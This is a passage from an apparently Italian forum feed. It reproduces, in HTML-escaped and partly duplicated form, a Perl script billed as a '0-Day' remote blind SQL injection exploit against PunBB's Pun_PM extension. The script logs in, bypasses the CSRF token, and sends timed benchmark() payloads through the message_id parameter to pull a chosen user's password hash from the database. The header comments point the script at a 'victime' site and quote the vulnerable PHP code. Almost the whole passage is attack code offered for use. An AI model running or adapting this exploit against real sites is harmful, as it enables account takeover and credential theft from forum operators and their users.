}<br />
<br />
sub Login() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;ARGV[4&#93; =~ /^&#92;d{1,3}&#92;.&#92;d{1,3}&#92;.&#92;d{1,3}&#92;.&#92;d{1,3}&#92;:&#92;d{1,5}?&#36;/) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Cookies-&gt;proxy(['http', 'ftp'&#93;, 'http://'.&#36;ARGV[4&#93;) or die &#36;!;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;Get = &#36;HTTP-&gt;get(&#36;Host.'login.php');<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;csrf_token = "";<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;Get-&gt;content =~ /type="hidden" name="csrf_token" value="([a-f0-9&#93;{1,40})/i) { #ByPassing csrf_token hidden input<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;csrf_token = &#36;1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;Login = &#36;HTTP-&gt;post(&#36;Host.'login.php',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;form_sent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; '1',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;redirect_url&nbsp;&nbsp;&nbsp;&nbsp;=&gt; &#36;Host.'login.php',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;csrf_token&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; &#36;csrf_token,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;req_username&nbsp;&nbsp;&nbsp;&nbsp;=&gt; &#36;UserName,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;req_password&nbsp;&nbsp;&nbsp;&nbsp;=&gt; &#36;PassWord,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;save_pass&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; '1',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;login =&gt; 'Login',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#93;) || die &#36;!;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;Login-&gt;content =~ /Verrai trasferito automaticamente ad una nuova pagina in 1 secondo/i) { #English Language: You should automatically be forwarded to a new page in 1 second.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
sub usage {<br />
&nbsp;&nbsp;&nbsp;&nbsp;Clear();<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " &#92;n [0-Day&#93; PunBB &lt;= 1.3.4 Package: Pun_PM &lt;= v1.2.6 Remote Blind SQL Injection Exploit&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * USAGE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * cd [Local Disk&#93;:&#92;&#92;[Directory Of Exploit&#93;&#92;&#92;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * perl name_exploit.pl [username&#93; [password&#93; [id&#93;&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * [proxy&#93; is optional (ex: 151.57.4.97:8080)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Powered By Dante90, WaRWolFz Crew&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * www.warwolfz.org - dante90_founder[at&#93;warwolfz.org *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;};<br />
&nbsp;&nbsp;&nbsp;&nbsp;exit;<br />
}<br />
<br />
sub refresh {<br />
&nbsp;&nbsp;&nbsp;&nbsp;Clear();<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " &#92;n [0-Day&#93; PunBB &lt;= 1.3.4 Package: Pun_PM &lt;= v1.2.6 Remote Blind SQL Injection Exploit&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * USAGE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * cd [Local Disk&#93;:&#92;&#92;[Directory Of Exploit&#93;&#92;&#92;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * perl name_exploit.pl [username&#93; [password&#93; [id&#93;&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * [proxy&#93; is optional (ex: 151.57.4.97:8080)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Powered By Dante90, WaRWolFz Crew&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * www.warwolfz.org - dante90_founder[at&#93;warwolfz.org *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;};<br />
&nbsp;&nbsp;&nbsp;&nbsp;print &#36;_[0&#93; ."&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * Victime Site: " . &#36;_[1&#93; . "&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * Default Time: " . &#36;_[2&#93; . " seconds&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * BruteForcing Hash: " . chr(&#36;chars[&#36;_[3&#93;&#93;) . "&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * BruteForcing N Char Hash: " . &#36;_[6&#93; . "&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * SQL Time: " . &#36;_[5&#93; . " seconds&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;print " * Hash: " . &#36;_[4&#93; . "&#92;n";<br />
}<br />
<br />
sub Main(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (Login() == 1) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Message = " * Logged in as: ".&#36;UserName;<br />
&nbsp;&nbsp;&nbsp;&nbsp;} elsif (Login() == 0) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Message = " * Login Failed.";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;refresh(&#36;Message, &#36;Host, &#36;DefaultTime, "0", &#36;Hash, &#36;Time, "1");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * Exploit Failed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;for (my &#36;I=1; &#36;I&lt;=40; &#36;I++) { #N Hash characters<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (my &#36;J=0; &#36;J&lt;=15; &#36;J++) { #0 -&gt; F<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time_Start = time();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;my &#36;Get1 = &#36;HTTP-&gt;get(&#36;Host.Blind_SQL_Jnjection(&#36;I,&#36;chars[&#36;J&#93;));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time_End = time();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time = request(&#36;Referrer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;refresh(&#36;Message, &#36;Host, &#36;DefaultTime, &#36;J, &#36;Hash, &#36;Time, &#36;I);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;Time_End - &#36;Time_Start &gt; 6) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time = request(&#36;Referrer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;refresh(&#36;Message, &#36;Host, &#36;DefaultTime, &#36;J, &#36;Hash, &#36;Time, &#36;I);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;Time_End - &#36;Time_Start &gt; 6) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;syswrite(STDOUT,chr(&#36;chars[&#36;J&#93;));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Hash .= chr(&#36;chars[&#36;J&#93;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time = request(&#36;Referrer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;refresh(&#36;Message, &#36;Host, &#36;DefaultTime, &#36;J, &#36;Hash, &#36;Time, &#36;I);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;last;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;I == 1 &amp;&amp; length &#36;Hash &lt; 1 &amp;&amp; !&#36;Hash) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * Exploit Failed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------ &#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;I == 40) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " * Exploit Successfully Executed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print " ------------------------------------------------------&#92;n ";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system("pause");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
Main();<br />
<br />
#WaRWolFz Crew</code></div></div>
<br />
Dante]]></description>
			<content:encoded><![CDATA[<div class="codeblock">
<div class="title">Codice:<br />
</div><div class="body" dir="ltr"><code>#!/usr/bin/perl<br />
# [0-Day] PunBB &lt;= 1.3.* Package: Pun_PM &lt;= v1.2.6 Remote Blind SQL Injection Exploit<br />
# Author/s: Dante90, WaRWolFz Crew<br />
# Created: 2009.07.30 after 0 days the bug was discovered.<br />
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shades Master, The:Paradox, V1R5, yeat<br />
# Greetings To: _ nEmO _, XaDoS, Necrofiend, Lutor, vagabondo, hacku, yawn, The_Exploited, Shotokan-The Hacker, _mRkZ_,<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chuzz, init, plucky, SaRtE, Lupo<br />
# Thanks For Testing: BlAcK HaT, l3d<br />
# Web Site: www.warwolfz.org<br />
# My Wagend (Dante90): dante90wwz.altervista.org<br />
# Unit-X Project: www.unitx.net<br />
# ----<br />
# Why I've decided to publish this?<br />
# Because in "Package: Pun_PM &lt;= v1.2.9" the bug was fixed.<br />
# ----<br />
# DETAILS<br />
# ./PunBB v1.3.*/extensions/pun_pm/functions.php<br />
# LINES: 504 -&gt; 526<br />
#&nbsp;&nbsp;&nbsp;&nbsp;function pun_pm_edit_message()<br />
#&nbsp;&nbsp;&nbsp;&nbsp;{<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global &#36;forum_db, &#36;forum_user, &#36;lang_pun_pm;<br />
#<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;errors = array();<br />
#<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Verify input data<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;query = array(<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'SELECT'&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 'm.id as id, m.sender_id as sender_id, m.status as status, u.username as username, m.subject as subject, m.body as body',<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'FROM'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 'pun_pm_messages m',<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'JOINS'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; array(<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array(<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'LEFT JOIN'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 'users AS u',<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ON'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; '(u.id = m.receiver_id)'<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;),<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;),<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'WHERE'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; 'm.id = '.&#36;forum_db-&gt;escape(&#36;_GET['message_id']).' AND m.sender_id = '.&#36;forum_user['id'].' AND m.deleted_by_sender = 0'<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);<br />
#<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(&#36;hook = get_hook('pun_pm_fn_edit_message_pre_validate_query')) ? eval(&#36;hook) : null;<br />
#<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;result = &#36;forum_db-&gt;query_build(&#36;query) or error(__FILE__, __LINE__);<br />
# ----<br />
# GET http://127.0.0.1/WaRWolFz/misc.php?section=pun_pm&amp;pmpage=write&amp;message_id=-1'<br />
# Error - PunBB<br />
# An error was encountered<br />
# The error occurred on line 525 in ./WaRWolFz/extensions/pun_pm/functions.php<br />
# Database reported: Errore di sintassi nella query SQL vicino a '&#92; AND m.sender_id = 2 AND m.deleted_by_sender = 0' linea 1 (Errno: 1064).<br />
<br />
use strict;<br />
use warnings;<br />
<br />
use LWP::UserAgent;<br />
use HTTP::Cookies;<br />
use HTTP::Request::Common;<br />
use Time::HiRes;<br />
use IO::Socket;<br />
<br />
my (&#36;UserName,&#36;PassWord,&#36;ID) = @ARGV;<br />
if (@ARGV &lt; 3) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&amp;usage();<br />
&nbsp;&nbsp;&nbsp;&nbsp;exit();<br />
}<br />
<br />
my &#36;Message = "";<br />
my &#36;Hash = "";<br />
my (&#36;Time,&#36;Time_Start,&#36;Time_End,&#36;Response);<br />
my (&#36;Start,&#36;End);<br />
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);<br />
my &#36;Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link<br />
my &#36;Method = HTTP::Request-&gt;new(GET =&gt; &#36;Host);<br />
my &#36;Cookies = new HTTP::Cookies;<br />
my &#36;HTTP = new LWP::UserAgent(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;agent =&gt; 'Mozilla/5.0',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max_redirect =&gt; 0,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookie_jar =&gt; &#36;Cookies,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) or die &#36;!;<br />
my &#36;Referrer = "http://www.warwolfz.org/";<br />
my &#36;DefaultTime = request(&#36;Referrer);<br />
<br />
sub request {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Referrer = &#36;_[0];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Method-&gt;referrer(&#36;Referrer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Start = Time::HiRes::time();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Response = &#36;HTTP-&gt;request(&#36;Method);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Response-&gt;is_success() or die "&#36;Host : ", &#36;Response-&gt;message,"&#92;n";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;End = Time::HiRes::time();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&#36;Time = &#36;End - &#36;Start;<br />
&nbsp;&nbsp;&nbsp;&nbsp;return &#36;Time;<br />
}<br />
<br />
sub Blind_SQL_Jnjection {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my (&#36;dec,&#36;hex) = @_;<br />
&nbsp;&nbsp;&nbsp;&nbsp;return "./misc.php?section=pun_pm&amp;pmpage=write&amp;message_id=-1 OR 1!=(SELECT IF((ASCII(SUBSTRING(`password`,&#36;{dec},1))=&#36;{hex}),benchmark(200000000,CHAR(0)),0) FROM `users` WHERE `id`=&#36;{ID})--";<br />
}<br />
<br />
sub Clear() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;launch = &#36;^O eq 'MSWin32' ? 'cls' : 'clear';<br />
&nbsp;&nbsp;&nbsp;&nbsp;return system(&#36;launch);<br />
}<br />
<br />
sub Login() {<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;ARGV[4] =~ /^&#92;d{1,3}&#92;.&#92;d{1,3}&#92;.&#92;d{1,3}&#92;.&#92;d{1,3}&#92;:&#92;d{1,5}?&#36;/) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#36;Cookies-&gt;proxy(['http', 'ftp'], 'http://'.&#36;ARGV[4]) or die &#36;!;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;Get = &#36;HTTP-&gt;get(&#36;Host.'login.php');<br />
&nbsp;&nbsp;&nbsp;&nbsp;my &#36;csrf_token = "";<br />
&nbsp;&nbsp;&nbsp;&nbsp;if (&#36;Get-&gt;content =~ /type="hidden" name="csrf_token" value="([a-f0-9]{1,40})/i) { #ByPassing csrf_token hidden input<br />
